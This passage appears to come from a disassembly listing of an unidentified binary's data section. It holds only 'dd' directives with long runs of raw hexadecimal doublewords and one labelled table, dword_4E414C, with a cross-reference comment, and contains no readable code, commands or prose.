		dd 904CF72Dh, 0F18A01B4h, 0D4AE1179h, 0C9702499h, 0B3238200h
		dd 6696F38Dh, 925E254h,	0D715DFDBh, 8CA66814h, 52A6AD00h
		dd 4A974186h, 135503A5h, 0A28490F3h, 7DC0BE84h,	291F54Eh
		dd 80633018h, 3CE0F14Dh, 0AB2F1259h, 7F5E20h, 0A4083633h
		dd 247A5156h, 0C60035ECh, 0B231E6F3h, 3C3D2CBh,	0D77F16BBh
		dd 61C0FAE9h, 8B00484Fh, 73C19687h, 14D64Eh, 59CA2804h
		dd 279577F8h, 267E4200h, 0D1570DA1h, 0E7A013A8h, 0C0D41D86h
		dd 0F7628E8h, 6902C1E3h
		dd 0B5566A6Dh, 4D4CC0C6h, 63AF0E34h, 0F329CAB2h, 60D73083h
		dd 9E00107Eh, 955E9BE4h, 779A38Bh, 772A59CBh, 0CDCCB0F6h
		dd 38732907h, 93654F00h, 0F75C314Ch, 484400FAh,	9CDADFCFh
		dd 3BE61B9Ah, 0D41F4094h, 305FFF40h, 41381Ch, 87FA3DCCh
		dd 640D9C77h, 0F9ED0907h, 88B0489Ah, 0E52AF3h, 518D89F0h
		dd 4A6A92B2h, 0C9EA71Dh, 0D875B040h, 1CB8FCA4h,	80684988h
		dd 2C1C4377h, 8502D3F4h, 7084C3D5h, 18C56CAh, 0FDACC0D6h
		dd 73A67h, 0D9200276h, 5132FD2h, 7F511E29h, 0A1DC01EFh
		dd 0F458353Fh, 0BA00DC0Bh, 4277861Fh, 42C7F5Dh,	2B85D6AEh
		dd 0DEB4D062h, 249009A8h, 8AC1F460h, 0B27008h, 46596FD7h
		dd 4328D0F3h, 891FF702h, 48912A41h, 1CECB77Ch, 180B96C3h
		dd 0A02498E3h, 90E73001h, 0DC413A09h, 97CFF3C8h, 804F0880h
		dd 1E4C93D7h, 8D1D1411h, 8B050090h, 7A1908A2h, 76DC0048h
		dd 0B0F19D66h, 8E004DA1h, 2D440A7Bh, 985D8DB6h,	1F3509A0h
		dd 0AC849541h, 0B70280B5h, 0A2004940h, 0CF8774BEh, 97BB9Fh
		dd 0E07A9014h, 6FF98B16h, 73C79D00h, 0DAEC96F1h, 0D341F4Ah
		dd 84B7412Ah, 0C81871A1h, 0FB00681Ah, 0FD3D44CBh, 34D6F03h
		dd 4A9D0E57h, 93A8141Bh, 951705E4h, 0EE1610h, 8E9AB5B9h
		dd 0BF4A8156h, 66520401h, 0C5D50A68h, 1CE3D0C0h, 0C03D518Eh
		dd 32F7625Ah, 0ED09D21Ch, 0C054C12Ch, 9473110h,	0F98A0541h
		dd 0F6A3B420h, 92006166h, 0DEBD0311h, 6012E2DAh, 0FDB81004h
		dd 8A0CF348h, 78F95DABh, 0B7B9018Bh, 79AD176Ch,	2838D0E3h
		dd 8910AC3Fh, 0D226865Dh, 0C44A80h, 0E0B29A74h,	0C101DF0Bh
		dd 0B0B18B97h, 0C820D928h, 0D41400ABh, 0AD8730A6h, 523DE568h
		dd 2D72000Ch, 78A5097Ch, 0AF580545h, 803931DEh,	35535A98h
		dd 0E7533C90h, 0D20F18F4h, 9B1F9A79h, 30B0806Ch, 31CF9846h
		dd 71089312h, 0C28D5C82h, 0EFB461FFh, 4F003C33h, 0A6D777E7h
		dd 9CA0D6E9h, 0D52FDE5Dh, 4AB40459h, 11DB7C80h,	27D20080h
		dd 8FE7C18Bh, 37001567h, 0C20976F0h, 16917E4h, 6C4FA40Eh
		dd 0CC4853BAh, 0F900AD23h, 4EB87976h, 3F5CBD34h, 5124FB46h
		dd 0DE0F03F0h, 5916F3Fh, 388BE0A5h, 0BEB84700h,	8C10E189h
		dd 2E5E000Ch, 0FF736C7Ah, 2A7BB469h, 9D08773Ch,	3B80899Fh
		dd 0A72D6D3Eh, 1BCE4873h, 0BDA3D900h, 2363AC88h, 40C4CC25h
		dd 0CFCA48h, 3B102893h,	50B33040h, 0EAF00200h, 2F0F49ADh
		dd 1AE40078h, 5B04E287h, 0C004E34Eh, 0D122EA4Fh, 3F16E4ADh
		dd 16704E1Fh, 0A1F6E740h, 5609372Bh, 73218C14h,	960F7E70h
		dd 0D62CC0DEh, 20767C80h, 3D540B83h, 5C485B0Dh,	174FC023h
		dd 0ABA41007h, 43A785F0h, 75AC1C79h, 0EC048057h, 17826374h
		dd 1D558D07h, 4F80D507h, 749EDF88h, 338A0BA0h, 0A280EB40h
		dd 9D27A6A7h, 4835Ch, 0CC168421h, 4C6C23h, 4AB2FCD1h, 0FA59D3Eh
		dd 6A93A41Fh, 8AC49900h, 9A0544h, 0EB1C5D25h, 1A1F9765h
		dd 7DDEAA01h, 310D2A2Fh, 0CD17446h, 1325AF92h, 0A205C6B0h
		dd 87C51A04h, 5A088C40h, 19DEF39Dh, 8D89537h, 0C02B2E93h
		dd 0F74D3F01h, 0F1BB6813h, 271EC06Ch, 0C6195625h, 0BA8300B0h
		dd 46D33641h, 0E200F69Eh, 9656DD79h, 1DB3BC4Ah,	8786CFAEh
		dd 807B2F5Fh, 0EC221181h, 0C16E1C00h, 7A4239ADh, 0FD1600E4h
		dd 0EB78F80Bh, 0EE16139Dh, 0A716757Dh, 17D80Bh,	0D5E280FEh
		dd 0D41E1EE4h, 5443408Ah, 28C2297Eh, 3B83B700h,	20F5F621h
		dd 40C502C6h, 0BD6AFB53h, 4900C078h, 8D637BCFh,	9C522FFh
		dd 79548878h, 8600E058h, 63E19F11h, 0F85577h, 62DB13D8h
		dd 0B5FBA28Dh, 94EF9300h, 208F1F73h, 9038E9CCh,	0CFA29200h
		dd 0E9A10C0Fh, 453DD3EEh, 0A41A0166h, 8425F7F3h, 0CF003422h
		dd 6DE05685h, 0DD094AB6h, 59E126h, 0A2732A2h, 0E2F0790h
		dd 1092CD87h, 96F856C9h, 9F91C400h, 0ACFD99A9h,	793325C8h
		dd 2400E0F8h, 4642FEB2h, 0B74EBEh, 108FCB7Ch, 0F5DE6C87h
		dd 3F095978h, 0E0851DF8h, 5139F38h, 76D7CB4h, 0D98C40C8h
		dd 0EC9820C7h, 19FF4E7h, 0F3AEBC00h, 0CB61733h,	3C5E181Eh
		dd 0B40D4112h, 0A1C50F4h, 82129D3Fh, 7B4A3440h,	0FEF78Eh
		dd 0F3BB6B9Bh, 0FF13CF5Dh, 1D19800h, 8123F6B2h,	4948C08Eh
		dd 29A6679Ch, 6B4EAC04h, 6A4648BCh, 0ED0099ABh,	5D7079C4h
		dd 498B81h, 41609E6Dh, 2E20E1C8h, 3775F3B8h, 1DFB7400h
		dd 5256D87Eh, 0E68A0010h, 3033EADBh, 85098973h,	0D0E80Fh
		dd 97A41D21h, 6C1717F8h, 0B590E0AAh, 8803700h, 7E1A6D78h
		dd 1F86F6EDh, 0BA7B81h,	433A773Dh, 0BF006BEAh, 84FE41Dh
		dd 73F57Ch, 49A63218h, 75CD9DDAh, 9BCBCC00h, 7B2666F2h
		dd 9CDF1CF7h, 1A37C1F4h, 87F66CE3h, 0F89A6DA9h,	1E0890ACh
		dd 0D26930h, 0AA2E4153h, 5774CB5Bh, 98916600h, 76264559h
		dd 0DB1703ADh, 6A505FBAh, 0EDD8A800h, 0C2137F2Dh, 19E40015h
		dd 9B673DFCh, 0EB006E90h, 0E6D50304h, 306AD4Ah,	0F25D634Eh
		dd 3F8988E8h, 2E8B60B2h, 7654CE07h, 0F107DF4h, 0C0F53959h
		dd 0FA155E98h, 0FC00443Fh, 0EB376418h, 5A536Ch,	94E1546Dh
		dd 908B20CCh, 6B00FFE0h, 4D03793Eh, 74A0B7E2h, 1DD9304Ch
		dd 6DD13D20h, 1FE14800h, 7A6A31F4h, 0CF4E025Fh,	78A8D09Eh
		dd 0A090AE60h, 7688C000h, 82CE9D9Ah, 0FED40381h, 63E8230Bh
		dd 2E922000h, 45D26A76h, 72E000ADh, 0B4BC99Ah, 9E0082F1h
		dd 0CABA8ABEh, 7818B780h, 48A818FDh, 0D9A0A9CFh, 82FF8918h
		dd 0BA3530h, 0CFD65F69h, 0B2C5439Dh, 1403027Ch,	8E4F09D1h
		dd 303800A0h, 4888E340h, 0B70E0C75h, 865ABBDDh,	7720233Bh
		dd 96A60059h, 5C3D5D94h, 1E00822Bh, 9DE01830h, 0A003BD23h
		dd 8638102Ch, 0A908E3FEh, 645A3D46h, 57D04005h,	399CADh
		dd 0E65655E9h, 6F51DF3Eh, 0EC71AA0Ch, 0C0BC4E53h, 286E11E0h
		dd 0D300E1D2h, 32974950h, 2D69DAh, 0D984066Bh, 0EEFDA931h
		dd 16FC6300h, 5F0356B9h, 0EDE80Eh, 34AC8A54h, 2523B7FAh
		dd 0D07E0A00h, 0A2C29127h, 36C60008h, 35E18D0Bh, 0D87409AEh
		dd 0F2115100h, 0EC97EACAh, 0FC2302A0h, 0A8229131h, 606FFC61h
		dd 0C9E9A1FAh, 5C54F016h, 0CDF43C03h, 0C0AF1D2Fh, 1412950h
		dd 93DC4BCFh, 0D140ABDBh, 60B3E4F5h, 8A7D2F00h,	1A10E61Dh
		dd 8A8090Ch, 6B807CACh,	6218C7D4h, 52328609h, 0B6BD0022h
		dd 0B24CFBh, 34993967h,	6F6A3629h, 8559BE0Eh, 188F11h
		dd 513842DCh, 77992666h, 9423003Bh, 19B553C9h, 7847F80Ch
		dd 0E69E381Fh, 6DE40045h, 3F552D7Ah, 63E82B48h,	0BED421C0h
		dd 36E48Bh, 2C7A07A7h, 0AFBDE652h, 49EF590Ch, 306870ACh
		dd 5F898CCCh, 7403DBDCh, 0AF531405h, 0A018021Ah, 7BAC6719h
		dd 45233C80h, 2216D7Dh,	0A4BB8831h, 0A86BAB00h,	407DAh
		dd 0AC8CF2F3h, 1D1083FFh, 846269C0h, 0AD3839h, 24C67D7Eh
		dd 17055E15h, 6D7A4C00h, 7B88A8BDh, 0D5B90AA1h,	0A809660h
		dd 0DE481893h, 4B70BC00h, 0D78E707h, 4079EE4Ch,	930069A6h
		dd 0D6BD5C2Fh, 0FA397BCh, 3CFBF8Dh, 2D653D61h, 0F3988210h
		dd 7B1B487h, 55A8A0ECh,	4A803E9Ch, 1A2B0047h, 0DB47D6Bh
		dd 0DD748D61h, 0EC56BD28h, 80027478h, 54F79F23h, 4FCC607Dh
		dd 3F271A0Fh, 484A99Bh,	1A15C061h, 0FC005A21h, 7E53CA0Ah
		dd 6BF866h, 24C7032Eh, 1E58603Dh, 13152902h, 0E03E4089h
		dd 1CE2FB44h
		dd 40ADEF92h, 428C0ACFh, 0D0014BA9h, 79CE9A1Ch,	9DC0C059h
		dd 0A43F812h, 0FA900D0Eh, 0ADE307C5h, 0D8F940C8h, 33F80F86h
		dd 23033B00h, 264B7D7Ch, 678A0348h, 5E92AD41h, 0C6729AD8h
		dd 28B39001h, 362BCBDFh, 1D6EC0E4h, 0C33B4Dh, 0B38C373Ch
		dd 0CC008708h, 904F0CE7h, 0E90246h, 4A169F09h, 0AA74E03Bh
		dd 0EB03050Ch, 3C850C1h, 0C69E62C5h, 9878E264h,	48E07000h
		dd 0F57F68Ch, 2EBD00FBh, 4E72C413h, 5E00C5C9h, 7662A260h
		dd 0E410708h, 2128F87Ch, 0C1AC44CEh, 6F439A50h,	48A22C03h
		dd 33E4F2CAh, 0EA810E8Fh, 0C000B4E8h, 0A7732CD0h, 2072E300h
		dd 50CFA805h, 0EA9E0789h, 95BFF3C1h, 8090003Eh,	7349365Fh
		dd 55028CA4h, 822019CDh, 297218C5h, 77D4A80h, 91838BEAh
		dd 0A56C30FAh, 0A7079EDDh, 0D671E1C1h, 0D0F31F40h, 685800EBh
		dd 6AFE96C8h, 0DE98869Ch, 0EA674100h, 0C04DFC39h
dword_4E414C	dd 97C60028h, 9A3F44D1h, 2F01DE89h, 0DD091F65h,	0BEC8996Dh
					; DATA XREF: ___:off_42DE44o
		dd 0CB41007Bh, 82F2193Bh, 6307AF69h, 0D108547Eh, 84B41CB1h
		dd 246DAE8h, 13E4F4DFh,	837D2616h, 0A0DC0F1Dh, 9895361Fh
		dd 0D67F035Eh, 0D2BC8B94h, 190855C0h, 9DBB013h,	0D0D303BFh
		dd 89A89F16h, 0B8008F57h, 5E3D3290h, 0CA8AE93h,	31566BB3h
		dd 2EFF9138h, 0D0E8D7F1h, 0A872003Bh, 0F3C8FB24h, 0AB000D8Dh
		dd 0E07B5FEDh, 5C22B3h,	8939E137h, 0D8A09EC1h, 0BBFBD61Fh
		dd 51609100h, 39A75A7Dh, 0A00B8E8h, 285FB746h, 0A5FA59D1h
		dd 265BE100h, 3BE2AFFCh, 1967A1Bh, 22D4CA07h, 0C4AC1D0Eh
		dd 0F901342Fh, 0F85C1C67h, 18839A60h, 8E698C23h, 0BF2DBAB1h
		dd 0DE862FB9h, 0E39E00B0h, 9867EFA0h, 243F400h,	0A88DE936h
		dd 68C80114h, 0FE167D15h, 604AD42Ch, 8004EC00h,	713E5E73h
		dd 0EBCF00ABh, 915AEECCh, 8AF2A2A5h, 2BA79B00h,	0B3A4F035h
		dd 9AEF06B5h, 18AE6E0Bh, 51257800h, 0D7F32715h,	16BE1EADh
		dd 0E31D0452h, 6F458042h, 306DF9Fh, 0B4E02F48h,	1EF621h
		dd 0F6288944h, 0FF920B9Ch, 21E450CCh, 534F3096h, 0F859B5B0h
		dd 2AAF5B00h, 0E151F0E9h, 39AB05E0h, 3EE0846h, 0D6329EADh
		dd 0F32E401Ch, 0F844D4BFh, 3B4C4204h, 0E7329D37h, 429F5821h
		dd 2198AD0h, 0D9332924h, 7DE03498h, 0B803C140h,	91D37099h
		dd 984DE3A3h, 6087B903h, 51754083h, 3605C879h, 7E02FF0Dh
		dd 743BC900h, 6052171Eh, 59892068h, 7300422Ah, 0AF9DBDCDh
		dd 0A0FDDE33h, 30BE5258h, 4710F1CEh, 5D00E3CCh,	0AC712153h
		dd 7C664905h, 72EE08h, 0A02BA917h, 0EE1014E2h, 94B5DD07h
		dd 0B450497Ch, 642EB0h,	62AD7AF4h, 5C697612h, 0F331DC01h
		dd 0D1F5C2EAh, 7B924F8h, 0AD7B0B6Dh, 3770A05Fh,	0BC7AFB6Ch
		dd 5332A01Eh, 9DFFD800h, 5046C1CEh, 3F8FE24h, 0E2858952h
		dd 0C9D12E39h, 0C573F0D3h, 0DC7C39h, 0CFA3FCBDh, 0E0A46C13h
		dd 5B20021Eh, 77896771h, 0A2BBF180h, 8100E8AEh,	75E7EAC8h
		dd 17CF14Bh, 0BAFCF91Fh, 0ECD8A685h, 22003990h,	6577BD4h
		dd 0FA114166h, 2C7AEDh,	8C5FFBB4h, 3FD5DB20h, 1F76B7F8h
		dd 63C8C200h, 4C15EA72h, 0F81B00A3h, 624612FCh,	3036E07h
		dd 0BD886398h, 0C975A894h, 0A2400E7h, 0DD3D8001h, 0C3A20743h
		dd 92C0B2C3h, 620039C5h, 881B9424h, 1E750F22h, 0C3B105D3h
		dd 0D1AD1766h, 36BEACB0h, 0F94D3F06h, 0D118516Dh, 76E00420h
		dd 757CCCC8h, 2E259500h, 4F035BDBh, 0AA7351h, 54A41147h
		dd 0E6FF6DC0h, 1C286101h, 355414Bh, 1404ADC7h, 5EC024F6h
		dd 6E737B6Eh, 0CAE4287Eh, 42E70852h, 17220F1Fh,	0DEFF2370h
		dd 1C845172h, 40C3A3DFh, 85E0736Dh, 93361C27h, 618C29B1h
		dd 0D3E828ADh, 0CFA0945Eh, 0B5A51914h, 0A08FB79h, 0CB517D62h
		dd 240D2177h, 0CD970084h, 0D07480AEh, 0F26A6788h, 0C81C0826h
		dd 33085311h, 0ECC98407h, 0E94305BAh, 0CDBF8C42h, 0C9EF0381h
		dd 0E65E5001h, 7E1F1911h, 0D4C064D9h, 0CFB2000Ch, 837468Ah
		dd 22013229h, 6583F3D7h, 228754FCh, 1099BE12h, 93EEC7B8h
		dd 0BB003674h, 368B75Fh, 39BED6CDh, 0F600ED91h,	0F2A3A1FAh
		dd 0E9E3BAFEh, 0AEE7F4C6h, 12A0E21Fh, 34EE2200h, 2C40D9h
		dd 0CF605C66h, 0F94B3CACh, 0F6CB0F00h, 93B8903Dh, 1640005h
		dd 5A704262h, 0DF02E8BEh, 0BAB26DBDh, 7FB9E013h, 46EB001Ah
		dd 1D06E1FFh, 0B1724070h, 0AB48D916h, 853E6600h, 311E29h
		dd 0DADFE463h, 0CB9B7088h, 17D01C1Eh, 1692F840h, 0F006B46Dh
		dd 1773Fh, 8C366EDBh, 18C73B8Eh, 130041F4h, 0F0F970A2h
		dd 0C0ADDFh, 0FFE4240Fh, 0A58547Fh, 9A44D713h, 13553041h
		dd 0B48FB6B2h, 562019C2h, 71AE36B0h, 74E9C700h,	0A340CCCEh
		dd 997C00D4h, 0B89F31D9h, 417FA53Fh, 8149E260h,	0B076455Ch
		dd 0C2E900D0h, 1F6350FEh, 5D00716Bh, 978431B9h,	0A5EBE1h
		dd 14FDC93Ch, 2B8F5520h, 830013F8h, 53244731h, 0E35EC2h
		dd 0EA578A36h, 46387537h, 26ED6600h, 91AC7CD1h,	4EB600BAh
		dd 24E907D4h, 1F00D082h, 846B357Ah, 4C987Fh, 0AE5694F7h
		dd 93A15423h, 958F960Eh, 0CCB8E09Ch, 0C61D1Ah, 3EFE2F85h
		dd 0E13DF3A5h, 26B0E470h, 9BE8E200h, 0F5490182h, 902C00BDh
		dd 64B42EFFh, 0B9034566h, 67957D8Bh, 0B843D075h, 0EBB2C058h
		dd 0D42F94AAh, 0ADD1A000h, 0F1D96A7Ah, 6D6C0033h, 2BC4A28Ch
		dd 2A0724BBh, 231B96A0h, 26F7CCE0h, 0ABE501AFh,	5CB74BF5h
		dd 37DAF00Eh, 0C525B412h, 416EAA00h, 11728Eh, 530EDC7Bh
		dd 27968839h, 0D1259400h, 24D2792Dh, 0A7330056h, 0A56BD564h
		dd 0F303E655h, 755DAB95h, 0DBF2B874h, 0F7BB8B4h, 8725018Bh
		dd 1ECB4861h, 8EFC605Fh, 0A0496600h, 1DBC9FF4h,	17CD00CAh
		dd 0B9FD3805h, 5200D6F2h, 7D950E0Fh, 0ED54BE3h,	0CDBE7F2Dh
		dd 0AA7AF120h, 0AE06530Ah, 0C650C3B7h, 0C70F3918h, 58062600h
		dd 3CC9D96h, 0C5EFF70Fh, 4183A164h, 24244B6Dh, 92B7003Fh
		dd 0A5687F05h, 0B9004DEEh, 7E1EF5Fh, 78F6C24h, 464AAE81h
		dd 3B7DA04Ch, 49009283h, 269D85E2h, 586270D2h, 0F5094999h
		dd 805D2480h, 0CAFB9895h, 5407007Ah, 89CCC0E6h,	0B00F303h
		dd 0D1B5ABDCh, 5FE4924h, 19565340h, 0DBB60033h,	329A6B52h
		dd 55E48B00h, 2136F112h, 0C4C000Dh, 130E6310h, 0DA00AB1Ah
		dd 0BB59D29Fh, 4AF996h,	10E2BE51h, 6B6647D0h, 0FB00E1E4h
		dd 0D737981h, 0F60A90A4h, 7D3700DBh, 0C7DDA912h, 0F3014C7Bh
		dd 0E28E8F5Ch, 0E0C0E807h, 88F10001h, 785234F5h, 0C400BF4Dh
		dd 251B55FFh, 0E59920h,	0A965A61Fh, 94A4245Ch, 0F854C23Fh
		dd 41428400h, 5331FEFFh, 144D0157h, 0D448D2ACh,	0BA51FC6Eh
		dd 0E5EFB400h, 9B56235h, 581101BEh, 8ED0D20Dh, 29C5FC1Eh
		dd 400AF4F0h, 0CC0893A8h, 5CB87E00h, 7F3C7C2h, 0EA371463h
		dd 0BBCE0092h, 0F77998D5h, 4D15852Eh, 17B96B01h, 40E0EDC5h
		dd 397D0097h, 4CEBB318h, 0BC009C51h, 0DC0F5889h, 314A1DA5h
		dd 0C6DAA86Dh, 609DFC6Ah, 44A13FEBh, 0F8C220h, 0E44B9580h
		dd 29185785h, 9D3DFF03h, 0C0C87B06h, 7FDD2CC4h,	0CC4300E1h
		dd 4DA012E4h, 0A0FFDC2h, 2FF004B4h, 3C4CC059h, 5E62C96h
		dd 7C2701D5h, 0CD37804Ah, 0FB002258h, 0CA0C4599h, 3E17A587h
		dd 6B048223h, 0C0130B43h, 6508F4D4h, 0B90024B8h, 4830FF69h
		dd 4352B8h, 0E0CBA39Ah,	1FBA2E0Ch, 453CE200h, 4A6729Ch
		dd 0EAEF0047h, 0D9411CC0h, 0F01FD012h, 1DC07B52h, 0A0229E92h
		dd 3C907Eh, 860F42DFh, 0A6B5B26h, 0D309E877h, 43401Bh
		dd 49CF6CF8h, 6D1700F4h, 0DD87D7A5h, 0A8009720h, 550827F9h
		dd 0F1027Bh, 7AC4A409h,	0F7D7547Ch, 0DE95F000h,	107F3A99h
		dd 0B99200F4h, 70BEA064h, 6012DCF2h, 0C703D988h, 0E91D0F54h
		dd 1F212AD2h, 59B6C0CBh, 35950033h, 8925D09Ah, 0C00DF9Fh
		dd 535BAE7Dh, 7528241h,	0F46CBA5Dh, 0CBD220FFh,	0F6018544h
		dd 4C99EA8Bh, 0A070ABD0h, 55890067h, 0FD1C91BCh, 0D7075226h
		dd 41816474h, 1B9D24E0h, 1A623CBAh, 0B338C180h,	0B666254Dh
		dd 681C8230h, 7399823h,	24E7E5CCh, 2C15C088h, 972EDB3Dh
		dd 9300D47Ah, 0DCAFB08Ch, 6FEB003Ah, 220FC67Fh,	88001683h
		dd 692F63D1h, 0EEC55707h, 9CEA0012h, 8533CE64h,	3C019937h
		dd 9016953Dh, 44D8265Eh, 0DE55000Dh, 0B268C4B7h, 0B11E7B7Eh
		dd 3C4104FDh, 7DD00EB8h
		dd 98E45070h, 0DD0D00CCh, 0E720E9ACh, 1200BAFFh, 5777B9D1h
		dd 18C8804h, 7CF8A03h, 0D472544Dh, 0A900B58Dh, 0DDED08EBh
		dd 0C962B4h, 0C1E01C31h, 0F01E3B69h, 5B909800h,	11392C9Dh
		dd 0D7DE0028h, 0AB7D78DFh, 7A0EB0F8h, 606F7BC0h, 0E5286A96h
		dd 0A59E004Bh, 0F56C8F19h, 0D6002F3Fh, 9C13F2DFh, 7A84A410h
		dd 15FAC9h, 23397408h, 0F6F3E057h, 2E684400h, 0D5DB2E4h
		dd 0AEB300FDh, 5915A6E5h, 4000599h, 87E97C01h, 30890Bh
		dd 3B19ECE7h, 538679FDh, 6A1C4302h, 0E035CD0Fh,	2E340EC1h
		dd 0C0E6CCh, 0C42FCB02h, 7A006287h, 0DCA9E930h,	84967Bh
		dd 3149E8DAh, 8CCA3B6Bh, 80DED33Dh, 1769D272h, 308409Eh
		dd 0BD02A4B8h, 90485171h, 0E974049Dh, 0C4C7D368h, 32D52881h
		dd 7A82C0h, 6E49936Bh, 0D31B1CF9h, 9A7BA00h, 0C57673Dh
		dd 6FCE02C3h, 52BB120Ah, 977A35E0h, 1FE0C200h, 29A4A281h
		dd 7ED0F8C0h, 0BF0E1214h, 0DA300E8Dh, 6A7903E0h, 461FD253h
		dd 8B43831Fh, 0C3D0E90Fh, 0B1E1B8F4h, 0B08F7656h, 0A0F700E7h
		dd 0EAE8C0B6h, 0C90063D2h, 0CB5BA771h, 36E2AECh, 19BD785h
		dd 6E0C661h, 5C00F830h,	9847A92Bh, 4A237B25h, 0E7FC4Bh
		dd 0B3DFFB5Dh, 71E9D778h, 0D232023Fh, 3C74F879h, 0A1E6C060h
		dd 0ED186F00h, 9005A820h, 8E303E7h, 38D5A95Eh, 0FAEF29F8h
		dd 9CB7E503h, 90C76BDAh, 0EE1D2158h, 0D30B3FE7h, 0F25DDB80h
		dd 0AD6047C1h, 24BDB200h, 0AF3377E5h, 0F8D20C8Eh, 6B48415Dh
		dd 6134C800h, 0FFFB45F1h, 7CEEEE5Ch, 65D30094h,	0FCB99E20h
		dd 0DA13A944h, 5400226Fh, 0A0792BC5h, 5AE20E2Ah, 48615677h
		dd 0F0111AD6h, 0BF000F88h, 8980C424h, 123495E5h, 90C809h
		dd 5042783Dh, 0E6034504h, 27995781h, 28A000DFh,	0C8CA0D79h
		dd 3200F6D6h, 2541EF9Bh, 3DCCE4Eh, 239E6A99h, 0C0E0722Dh
		dd 0B3002B20h, 8BBEA3DDh, 0B0DCDB9Fh, 0D22D0068h, 8566CF30h
		dd 9A07AB6Eh, 0F3574662h, 0D1DA6F01h, 5C2CE06Bh, 37432503h
		dd 9030B0FFh, 3DCDE36h,	0B77B21B4h, 0A28710C1h,	34E08B61h
		dd 0F0133518h, 0F402ACD9h, 680C8A26h, 74C0318h,	1898E574h
		dd 0F0B4B06Ah, 3200593Dh, 35B047B5h, 99E31C8h, 0EA175104h
		dd 68221F89h, 0F0008F21h, 3B1A39FCh, 809C2E5Dh,	5ADD809Ah
		dd 0E862675h, 0BF9F6800h, 620A42FDh, 0B667005Dh, 0B7E2D53Fh
		dd 0DE004156h, 0F5953729h, 1F0EE0h, 5F4BEC87h, 4251B116h
		dd 58936503h, 0AC11766Dh, 895A4080h, 269F7440h,	4B637DDh
		dd 801E5E57h, 1D452690h, 608AFD00h, 4B2A24EAh, 9EC80EB0h
		dd 0D4607B56h, 0BDB99F72h, 0F0660D01h, 68B20299h, 6EC1F0h
		dd 0CD016C79h, 0F59DBE69h, 867F640Eh, 2524E0FCh, 314BBC3h
		dd 95D51EC0h, 0D0F83B3Dh, 65140509h, 2C8377F9h,	790020C3h
		dd 0FA4AEE4h, 20B8008Ah, 1511896Ah, 0BD009CEEh,	2F691B57h
		dd 0FDEF3Ch, 0D7682228h, 7EBECFF0h, 80252A00h, 0AD7C6332h
		dd 0A0DD00E4h, 73F8E837h, 0F3590C1Bh, 0CB1577C8h, 2A4D2F2h
		dd 71A403B4h, 61684057h, 13C400EAh, 0AC3BA515h,	1CF2E02Ah
		dd 3938900h, 3A499B70h,	0EE840079h, 0F2812DD6h,	0E216C592h
		dd 0CC0BBF2Bh, 78608797h, 0B394833Bh, 8044B3C3h, 5C3B51AFh
		dd 0C5071E02h, 34524h, 0C45A636Eh, 0DFD88F0Eh, 436C60C1h
		dd 16FA4666h, 15AC2Dh, 0B3EF7B00h, 8F2E0436h, 7801D912h
		dd 8652D126h, 0D49C0h, 0B0482322h, 61303D1Eh, 310078B8h
		dd 0CF576C99h, 0E5F01F9h, 7E984943h, 3B664CDFh,	0BB002B42h
		dd 0EE91086Fh, 1FE56A36h, 11A57ADh, 0CE12D4CFh,	0B632FCBFh
		dd 799BB200h, 0FAD6CCF5h, 5B9312C1h, 9B846296h,	0B6B7D460h
		dd 0B0853400h, 8BD3BC26h, 3E9101F0h, 984F1EF3h,	0A55C6073h
		dd 18A9AF00h, 96B17980h, 162E036Eh, 12B4B026h, 0EAE1ADA8h
		dd 0A4694D0Eh, 351F00D1h, 3FC7B02h, 7F07F01h, 97983C8Eh
		dd 2F0E93B3h, 0E9E3B661h, 13F8856Ah, 1923ACD0h,	954200C8h
		dd 85CAB14Ch, 0F90F729Bh, 0B214BEh, 58F866DFh, 0D11F07BBh
		dd 7EDEB04Ah, 704B8C60h, 0E07AD8Fh, 7D34903Fh, 0E3D86E30h
		dd 4CA003Ch, 31EC10A8h,	0AC002B07h, 681D9693h, 3C63C5E7h
		dd 6B809F6Dh, 47557466h, 81F3184h, 0E1C0BD7Eh, 83DF110Bh
		dd 0EC120368h, 347C33A4h, 27615FA0h, 65068F1Eh,	19ABC00h
		dd 1C8DE054h, 80EEB82Bh, 0DA69CC4Ah, 0CB007480h, 4DC8E932h
		dd 3842E68Ch, 110C8FD1h, 0D628BEABh, 3C48C007h,	1570CA0Eh
		dd 5BFF1h, 2E87418Ah, 0E16B9089h, 8B66ED1Eh, 8C0AD592h
		dd 3F00B9BCh, 0C84F8424h, 523200ECh, 4C8A07A5h,	610B6D19h
		dd 807F21CAh, 112E59A4h, 0B337371h, 0C58F0D7Eh,	2A8EA400h
		dd 9503E6D9h, 0AF5234F3h, 0C27FC059h, 0F4074EFh, 514C308Fh
		dd 0F130256Ch, 161DF000h, 0C05BD49Fh, 0C5AB0087h, 0DBDAFEE8h
		dd 6C009656h, 8F883E48h, 30DCBD2h, 0F51A9EAEh, 11D899D6h
		dd 9B1EFAF6h, 0D140045Dh, 215F838h, 0EC324C97h,	2EE62A18h
		dd 0ED0378C9h, 0F78884B3h, 4F12C8B1h, 76F5A0B8h, 1F34008Fh
		dd 5B3D6446h, 18B0DDDCh, 33E57D07h, 2970C5F9h, 0FF6E9h
		dd 0ED36C266h, 8E1DC3A0h, 90306505h, 0B0909BFBh, 42C3115h
		dd 0CAE39AC5h, 7C448038h, 561CCEAEh, 0D040D875h, 7D9CD68Ah
		dd 0F2690086h, 31D26117h, 271E3F2Bh, 67418BFAh,	25A8BD1Ah
		dd 8CB54080h, 42EB04E3h, 8DF2CA00h, 0F060B10Eh,	2D5D1C57h
		dd 0EC2B80D3h, 13B51771h, 9F1FC001h, 0D6065439h, 0FA259030h
		dd 69471F1h, 0DFC86568h, 9AB01AE8h, 5243BE00h, 18AE8D09h
		dd 958B06Ch, 0D0A32A31h, 0C66E0C00h, 0E60092B7h, 1EF485CFh
		dd 0E0E4A0BCh, 0DB0F3C7Eh, 630E5A80h, 8AA1BA3Dh, 0C604730Eh
		dd 49C02093h, 1F1325A0h, 0CF7B9B36h, 1918F845h,	0B200E48Bh
		dd 0A5D1AAB7h, 7CF344DFh, 0D4EEB5h, 0AE67A645h,	8AEE8925h
		dd 0F2136A01h, 2DD98BE2h, 69A3E0D3h, 154E0017h,	0C1BB0F6Dh
		dd 80019FCDh, 0DFAEC254h, 42FC9D6Fh, 83E601F5h,	79FE2FCBh
		dd 197D3033h, 95A4D50Eh, 0AC3A025h, 1D99D8E5h, 8BE8479Ch
		dd 0B90061FAh, 0C8DFF1B7h, 345A4414h, 0F9743AC4h, 46D25207h
		dd 7A00A590h, 17B6BFE5h, 0D6671Fh, 0DC3F9E8h, 5400C02Bh
		dd 619967Fh, 39DC2956h,	66381875h, 26ED3E83h, 8B89524h
